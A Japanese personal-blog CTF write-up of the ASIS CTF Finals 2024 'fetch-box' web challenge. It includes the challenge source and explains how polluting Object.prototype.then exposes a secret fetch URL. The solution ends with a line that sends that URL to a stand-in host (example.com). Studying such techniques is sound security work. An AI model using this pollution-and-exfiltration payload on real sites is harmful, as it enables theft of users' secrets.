st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

ASIS CTF Finals 2024 writeup

12/29 - 12/30という日程で開催された。BunkyoWesternsで参加して3位。これをもって今年のCTFは終わり。まだAlpacaHack Round 8があるけれども、用事があるのでまたそのうち遊びたい。

裏番組としてこれまた評価の高いhxp 38C3 CTFが開催されており、当然ながら我々にはそんなリソースはないのでこちらのCTFにだけ参加したのだけれども、Friendly Maltese Citizensが両方に出て優勝および準優勝というとんでもないパフォーマンスを見せていた。


[Web, Misc 194] fetch-box (19 solves)

A client-side sandbox challenge!

Challenge: (問題サーバのURL) Admin bot: (admin botのURL)

Author: @arkark_

添付ファイル: fetch-box_dd28ba44916c3afeb58b0d366da8fd166b88398b.txz

compose.yaml は次の通り。問題サーバの web とadmin botの bot という2つのサービスがある。後者がフラグを持っているらしい。

services:
  web:
    build: ./web
    restart: unless-stopped
    init: true
    ports:
      - 3000:3000
  bot:
    build: ./bot
    restart: unless-stopped
    init: true
    ports:
      - 1337:1337
    environment:
      - FLAG=ASIS{REDACTED}

bot の主要な処理は次の通り。localStorage.flag にフラグを設定しているらしい。

    const page1 = await context.newPage();

    await page1.goto(APP_URL + "/ping", { timeout: 3_000 });
    await page1.evaluate((flag) => {
      localStorage.setItem("flag", flag);
    }, FLAG);
    await sleep(1_000);
    await page1.close();

    const page2 = await context.newPage();
    await page2.goto(url, { timeout: 5_000 });
    await sleep(10_000);
    await page2.close();

webindex.js は次の通り。非常にシンプルだ。CSPが設定されているけれどもゆるめ。

import express from "express";
import fs from "node:fs";

const html = fs.readFileSync("index.html", { encoding: "utf8" });

express()
  .use("/", (req, res, next) => {
    res.setHeader(
      "Content-Security-Policy",
      "base-uri 'none'; frame-ancestors 'none'"
    );
    next();
  })
  .get("/", (req, res) => res.type("html").send(html))
  .get("/ping", (req, res) => res.type("text").send("pong"))
  .listen(3000);

最後に index.html は次の通り。任意のJSコードが実行できるようになっていて便利だけれども、localStorage.flag にアクセスするだけではフラグは得られない。というのも、我々が与えたJSコードが実行される前に localStorage.flag が削除されてしまっているためだ。

この localStorage のアイテムが削除される前に、flag という(我々はタッチできない場所にある)ローカルの変数にフラグが格納されている。そして。500msごとに /ping?flag=ASIS{…} のようなURLへ fetch でHTTPリクエストが送信されるようになっている。なんとかしてこのURLを手に入れられないか。

<!DOCTYPE html>
<body>
  <h1>XSS Playground</h1>
  <script>
    (() => {
      const flag = localStorage.getItem("flag") ?? "🚩";
      localStorage.removeItem("flag");

      const fetch = Object.freeze(window.fetch);
      const resource = `/ping?${new URLSearchParams({ flag })}`;
      const options = Object.create(null);

      const fun = () => fetch(resource, options);
      setInterval(fun, 500);
    })();

    const params = new URLSearchParams(location.search);
    const xss = params.get("xss") ?? "console.log(1337)";
    setTimeout(xss, 800);
  </script>
</body>

fetch と聞いて思い出すのが天然のPrototype Pollutionのガジェットだけれども、こういう感じで外部から fetch の挙動を変更させて、たとえばエラーが起こるようにしてそれをcatchできないかと考えた。

body, method, headers, …と適当なプロパティでPrototype Pollutionしていく。すると、Object.prototype.then = x => { console.log(123) } で500msごとに代入した関数が実行されることに気付いた。これだ。

Object.prototype.then = function () { console.log(this.url) } で、リクエスト先のURLを手に入れることができた。あとは実行される処理を location.href = ['//example.com?', this.url] のようにして、外部へこれを送信させる。これでフラグが得られた。

ASIS{I_can7_wai7_f0r_S1ay_the_Spire_2}

PerformanceObserver でもいけたらしい。へー。